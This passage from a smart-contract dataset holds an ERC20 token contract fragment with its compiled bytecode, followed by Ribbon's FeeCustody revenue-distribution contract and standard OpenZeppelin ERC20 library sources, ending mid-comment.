validTo(to) returns (bool success) { transferInternal(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public validTo(to) returns (bool success) { allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); transferInternal(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { if (approve(spender, tokens)) { ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } } function () public payable { uint tokens; tokens = safeMul(msg.value, rate); balances[owner] = safeSub(balances[owner], tokens); balances[msg.sender] = safeAdd(balances[msg.sender], tokens); emit Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ // function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { // return ERC20Interface(tokenAddress).transfer(owner, tokens); // } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461032c578063095ea7b3146103bc57806318160ddd1461042157806323b872dd1461044c5780632c4e722e146104d1578063313ce567146104fc57806370a082311461052d57806374e7493b146105845780638da5cb5b146105b157806395d89b4114610608578063a293d1e814610698578063a9059cbb146106e3578063b5931f7c14610748578063cae9ca5114610793578063d05c78da1461083e578063dd62ed3e14610889578063e6cb901314610900575b60006100ff3460055461094b565b905061016b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261097c565b600660008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610218600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610998565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610328573d6000803e3d6000fd5b5050005b34801561033857600080fd5b506103416109b4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610381578082015181840152602081019050610366565b50505050905090810190601f1680156103ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103c857600080fd5b50610407600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a52565b604051808215151515815260200191505060405180910390f35b34801561042d57600080fd5b50610436610b44565b6040518082815260200191505060405180910390f35b34801561045857600080fd5b506104b7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b8f565b604051808215151515815260200191505060405180910390f35b3480156104dd57600080fd5b506104e6610d26565b6040518082815260200191505060405180910390f35b34801561050857600080fd5b50610511610d2c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561053957600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3f565b6040518082815260200191505060405180910390f35b34801561059057600080fd5b506105af60048036038101908080359060200190929190505050610d88565b005b3480156105bd57600080fd5b506105c6610dfc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061457600080fd5b5061061d610e21565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065d578082015181840152602081019050610642565b50505050905090810190601f16801561068a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106a457600080fd5b506106cd600480360381019080803590602001909291908035906020019092919050505061097c565b6040518082815260200191505060405180910390f35b3480156106ef57600080fd5b5061072e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ebf565b604051808215151515815260200191505060405180910390f35b34801561075457600080fd5b5061077d6004803603810190808035906020019092919080359060200190929190505050610f4f565b6040518082815260200191505060405180910390f35b34801561079f57600080fd5b50610824600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610f73565b604051808215151515815260200191505060405180910390f35b34801561084a57600080fd5b50610873600480360381019080803590602001909291908035906020019092919050505061094b565b6040518082815260200191505060405180910390f35b34801561089557600080fd5b506108ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110f1565b6040518082815260200191505060405180910390f35b34801561090c57600080fd5b506109356004803603810190808035906020019092919080359060200190929190505050610998565b6040518082815260200191505060405180910390f35b60008183029050600083148061096b575081838281151561096857fe5b04145b151561097657600080fd5b92915050565b600082821115151561098d57600080fd5b818303905092915050565b600081830190508281101515156109ae57600080fd5b92915050565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4a5780601f10610a1f57610100808354040283529160200191610a4a565b820191906000526020600020905b815481529060010190602001808311610a2d57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460045403905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610bce57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c0957600080fd5b610c8f600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461097c565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1a858585611178565b60019150509392505050565b60055481565b600360009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610de357600080fd5b600081111515610df257600080fd5b8060058190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb75780601f10610e8c57610100808354040283529160200191610eb7565b820191906000526020600020905b815481529060010190602001808311610e9a57829003601f168201915b505050505081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610efe57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f3957600080fd5b610f44338585611178565b600191505092915050565b60008082111515610f5f57600080fd5b8183811515610f6a57fe5b04905092915050565b6000610f7f8484610a52565b156110e9578373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561107957808201518184015260208101905061105e565b50505050905090810190601f1680156110a65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156110c857600080fd5b505af11580156110dc573d6000803e3d6000fd5b50505050600190506110ea565b5b9392505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111c1600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261097c565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061124d600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610998565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058206cd1f3bbafe82da55ba18c7b8eba077ccb2730c94ec45f874f7e41a39c859d940029
[ 38 ]
0xf2E186D6F3cafe17BCc89c50133CFbc2DB6CF55a
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IFeeDistributor.sol"; import "../interfaces/IChainlink.sol"; import "../interfaces/IWETH.sol"; import "../interfaces/IWSTETH.sol"; import "../interfaces/ICRV.sol"; import "../interfaces/IYVUSDC.sol"; import "../interfaces/ISwapRouter.sol"; import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol"; /** @title FeeCustody @notice Custody Contract for Ribbon Vault Management / Performance Fees */ contract FeeCustody is Ownable { using SafeERC20 for IERC20; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant WSTETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0; address public constant STETH = 0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84; address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public yvUSDC = 0xa354F35829Ae975e850e23e9615b11Da1B3dC4DE; // WETH Distribution Token IERC20 public distributionToken = IERC20(WETH); // Protocol revenue recipient address public protocolRevenueRecipient; // Address of fee distributor contract for RBN lockers to claim IFeeDistributor public feeDistributor; // % allocation (0 - 100%) from protocol revenue to allocate to RBN lockers. // 2 decimals. ex: 10% = 1000 uint256 public pctAllocationForRBNLockers; uint256 public constant TOTAL_PCT = 10000; // Equals 100% ISwapRouter public constant UNIV3_SWAP_ROUTER = ISwapRouter(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45); ICRV public constant STETH_ETH_CRV_POOL = ICRV(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); // Intermediary path asset for univ3 swaps. // Empty if direct pool swap between asset and distribution asset mapping(address => bytes) public intermediaryPath; // Oracle between asset/usd pair for total // reward approximation across all assets earned mapping(address => address) public oracles; address[] public assets; // Keeper for weekly distributions address public keeper; // Events event NewAsset(address asset, bytes intermediaryPath); event RecoveredAsset(address asset); event NewFeeDistributor(address feeDistributor); event NewYVUSDC(address yvUSDC); event NewRBNLockerAllocation(uint256 pctAllocationForRBNLockers); event NewDistributionToken(address distributionToken); event NewProtocolRevenueRecipient(address protocolRevenueRecipient); event NewKeeper(address keeper); /** * @notice * Constructor * @param _pctAllocationForRBNLockers percent allocated for RBN lockers (100% = 10000) * @param _feeDistributor address of fee distributor where protocol revenue claimable * @param _protocolRevenueRecipient address of multisig * @param _admin admin * @param _keeper keeper */ constructor( uint256 _pctAllocationForRBNLockers, address _feeDistributor, address _protocolRevenueRecipient, address _admin, address _keeper ) { require(_feeDistributor != address(0), "!_feeDistributor"); require( _protocolRevenueRecipient != address(0), "!_protocolRevenueRecipient" ); require(_admin != address(0), "!_admin"); require(_keeper != address(0), "!_keeper"); pctAllocationForRBNLockers = _pctAllocationForRBNLockers; feeDistributor = IFeeDistributor(_feeDistributor); protocolRevenueRecipient = _protocolRevenueRecipient; keeper = _keeper; } receive() external payable {} /** * @notice * Swaps RBN locker allocation of protocol revenu to distributionToken, * sends the rest to the multisig * @dev Can be called by keeper * @param _minAmountOut min amount out for every asset type swap. * will need to be in order of assets in assets[] array. should be * fine if we keep track. * @return toDistribute amount of distributionToken distributed to fee distributor */ function distributeProtocolRevenue(uint256[] calldata _minAmountOut) external returns (uint256 toDistribute) { require(msg.sender == keeper, "!keeper"); if (address(distributionToken) == WETH) { IWETH(address(distributionToken)).deposit{value: address(this).balance}(); } uint256 len = assets.length; for (uint256 i; i < len; i++) { IERC20 asset = IERC20(assets[i]); uint256 assetBalance = asset.balanceOf(address(this)); if (assetBalance == 0) { continue; } uint256 multiSigRevenue = (assetBalance * (TOTAL_PCT - pctAllocationForRBNLockers)) / TOTAL_PCT; // If we are holding the distributionToken itself, // do not swap if (address(asset) != address(distributionToken)) { // Calculate RBN allocation amount to swap for distributionToken uint256 amountIn = assetBalance - multiSigRevenue; _swap(address(asset), amountIn, _minAmountOut[i]); } // Transfer multisig allocation of protocol revenue to multisig asset.safeTransfer(protocolRevenueRecipient, multiSigRevenue); } toDistribute = distributionToken.balanceOf(address(this)); distributionToken.safeApprove(address(feeDistributor), toDistribute); // Tranfer RBN locker allocation of protocol revenue to fee distributor feeDistributor.burn(address(distributionToken), toDistribute); } /** * @notice * Amount of _asset allocated to RBN lockers from current balance * @return amount allocated to RBN lockers */ function claimableByRBNLockersOfAsset(address _asset) external view returns (uint256) { uint256 allocPCT = pctAllocationForRBNLockers; uint256 balance = _asset == address(0) ? address(this).balance : IERC20(_asset).balanceOf(address(this)); return (balance * allocPCT) / TOTAL_PCT; } /** * @notice * Amount of _asset allocated to multisig from current balance * @return amount allocated to multisig */ function claimableByProtocolOfAsset(address _asset) external view returns (uint256) { uint256 allocPCT = TOTAL_PCT - pctAllocationForRBNLockers; uint256 balance = _asset == address(0) ? address(this).balance : IERC20(_asset).balanceOf(address(this)); return (balance * allocPCT) / TOTAL_PCT; } /** * @notice * Total allocated to RBN lockers across all assets balances * @return total allocated (in USD) */ function totalClaimableByRBNLockersInUSD() external view returns (uint256) { uint256 allocPCT = pctAllocationForRBNLockers; return _getTotalAssetValue(allocPCT); } /** * @notice * Total allocated to multisig across all assets balances * @return total allocated (in USD) */ function totalClaimableByProtocolInUSD() external view returns (uint256) { uint256 allocPCT = TOTAL_PCT - pctAllocationForRBNLockers; return _getTotalAssetValue(allocPCT); } /** * @notice * Total claimable across all asset balances based on allocation PCT * @param _allocPCT allocation percentage * @return claimable total claimable (in USD) */ function _getTotalAssetValue(uint256 _allocPCT) internal view returns (uint256 claimable) { uint256 len = assets.length; for (uint256 i; i < len; i++) { IChainlink oracle = IChainlink(oracles[assets[i]]); ERC20 asset = ERC20(assets[i]); uint256 bal = asset.balanceOf(address(this)); if (assets[i] == WSTETH) { bal = IWSTETH(assets[i]).getStETHByWstETH(bal); } else if (assets[i] == yvUSDC) { bal = (bal * IYVUSDC(assets[i]).pricePerShare()) / 10**6; } uint256 balance = bal * (10**(18 - asset.decimals())); if (assets[i] == WETH) { balance += address(this).balance; } // Approximate claimable by multiplying // current asset balance with current asset price in USD claimable += (balance * uint256(oracle.latestAnswer()) * _allocPCT) / 10**8 / TOTAL_PCT; } } /** * @notice * Swaps _amountIn of _asset into distributionToken * @param _asset asset to swap from * @param _amountIn amount to swap of asset * @param _minAmountOut min amount out for every asset type swap */ function _swap( address _asset, uint256 _amountIn, uint256 _minAmountOut ) internal { if (_asset == WSTETH) { uint256 _stethAmountIn = IWSTETH(_asset).unwrap(_amountIn); TransferHelper.safeApprove( STETH, address(STETH_ETH_CRV_POOL), _stethAmountIn ); STETH_ETH_CRV_POOL.exchange(1, 0, _stethAmountIn, _minAmountOut); IWETH(address(distributionToken)).deposit{value: address(this).balance}(); return; } if (_asset == yvUSDC) { TransferHelper.safeApprove(_asset, yvUSDC, _amountIn); _amountIn = IYVUSDC(yvUSDC).withdraw(_amountIn); } TransferHelper.safeApprove( _asset != yvUSDC ? _asset : USDC, address(UNIV3_SWAP_ROUTER), _amountIn ); ISwapRouter.ExactInputParams memory params = ISwapRouter.ExactInputParams({ path: intermediaryPath[_asset], recipient: address(this), amountIn: _amountIn, amountOutMinimum: _minAmountOut }); // Executes the swap. UNIV3_SWAP_ROUTER.exactInput(params); } /** * @notice * add asset * @dev Can be called by admin * @param _asset new asset * @param _oracle ASSET/USD ORACLE. * @param _intermediaryPath path for univ3 swap. * @param _poolFees fees for asset / distributionToken. * If intermediary path then pool fee between both pairs * (ex: AAVE / ETH , ETH / USDC) * NOTE: if intermediaryPath empty then single hop swap * NOTE: MUST BE ASSET / USD ORACLE * NOTE: 3000 = 0.3% fee for pool fees */ function setAsset( address _asset, address _oracle, address[] calldata _intermediaryPath, uint24[] calldata _poolFees ) external onlyOwner { require(_asset != address(0), "!_asset"); uint256 _pathLen = _intermediaryPath.length; uint256 _swapFeeLen = _poolFees.length; // We must be setting new valid oracle, or want to keep as is if one exists require(IChainlink(_oracle).decimals() == 8, "!ASSET/USD"); require(_pathLen < 2, "invalid intermediary path"); require(_swapFeeLen == _pathLen + 1, "invalid pool fees array length"); // If not set asset if (oracles[_asset] == address(0)) { assets.push(_asset); } // Set oracle for asset oracles[_asset] = _oracle; // Multiple pool swaps are encoded through bytes called a `path`. // A path is a sequence of token addresses and poolFees that define the pools used in the swaps. // The format for pool encoding is (tokenIn, fee, tokenOut/tokenIn, fee, tokenOut) // where tokenIn/tokenOut parameter is the shared token across the pools. if (_pathLen > 0) { intermediaryPath[_asset] = abi.encodePacked( _asset != yvUSDC ? _asset : USDC, _poolFees[0], _intermediaryPath[0], _poolFees[1], address(distributionToken) ); } else { intermediaryPath[_asset] = abi.encodePacked( _asset != yvUSDC ? _asset : USDC, _poolFees[0], address(distributionToken) ); } emit NewAsset(_asset, intermediaryPath[_asset]); } /** * @notice * recover all assets * @dev Can be called by admin */ function recoverAllAssets() external onlyOwner { // For all added assets, send to protocol revenue recipient uint256 len = assets.length; for (uint256 i = 0; i < len; i++) { _recoverAsset(assets[i]); } } /** * @notice * recover specific asset * @dev Can be called by admin * @param _asset asset to recover */ function recoverAsset(address _asset) external onlyOwner { require(_asset != address(0), "!asset"); _recoverAsset(_asset); } /** * @notice * recovers asset logic * @param _asset asset to recover */ function _recoverAsset(address _asset) internal { IERC20 asset = IERC20(_asset); uint256 bal = asset.balanceOf(address(this)); if (bal > 0) { asset.safeTransfer(protocolRevenueRecipient, bal); emit RecoveredAsset(_asset); } // Recover ETH as well if (_asset == WETH) { uint256 ethBal = address(this).balance; if (ethBal > 0) { payable(protocolRevenueRecipient).transfer(ethBal); } } } /** * @notice * set fee distributor * @dev Can be called by admin * @param _feeDistributor new fee distributor */ function setFeeDistributor(address _feeDistributor) external onlyOwner { require(_feeDistributor != address(0), "!_feeDistributor"); feeDistributor = IFeeDistributor(_feeDistributor); emit NewFeeDistributor(_feeDistributor); } /** * @notice * set yvusdc * @dev Can be called by admin * @param _yvUSDC new yvusdc address for new version */ function setYVUSDC(address _yvUSDC) external onlyOwner { require(_yvUSDC != address(0), "!_yvUSDC"); yvUSDC = _yvUSDC; emit NewYVUSDC(_yvUSDC); } /** * @notice * set rbn locker allocation pct * @dev Can be called by admin * @param _pctAllocationForRBNLockers new allocation for rbn lockers */ function setRBNLockerAllocPCT(uint256 _pctAllocationForRBNLockers) external onlyOwner { require( _pctAllocationForRBNLockers <= TOTAL_PCT, "!_pctAllocationForRBNLockers" ); pctAllocationForRBNLockers = _pctAllocationForRBNLockers; emit NewRBNLockerAllocation(_pctAllocationForRBNLockers); } /** * @notice * set new distribution asset * @dev Can be called by admin * @param _distributionToken new distribution token */ function setDistributionToken(address _distributionToken) external onlyOwner { require(_distributionToken != address(0), "!_distributionToken"); distributionToken = IERC20(_distributionToken); emit NewDistributionToken(_distributionToken); } /** * @notice * set protocol revenue recipient * @dev Can be called by admin * @param _protocolRevenueRecipient new protocol revenue recipient */ function setProtocolRevenueRecipient(address _protocolRevenueRecipient) external onlyOwner { require( _protocolRevenueRecipient != address(0), "!_protocolRevenueRecipient" ); protocolRevenueRecipient = _protocolRevenueRecipient; emit NewProtocolRevenueRecipient(_protocolRevenueRecipient); } /** * @notice * set keeper for weekly distributions * @dev Can be called by admin * @param _keeper new keeper */ function setKeeper(address _keeper) external onlyOwner { require(_keeper != address(0), "!_keeper"); keeper = _keeper; emit NewKeeper(_keeper); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev 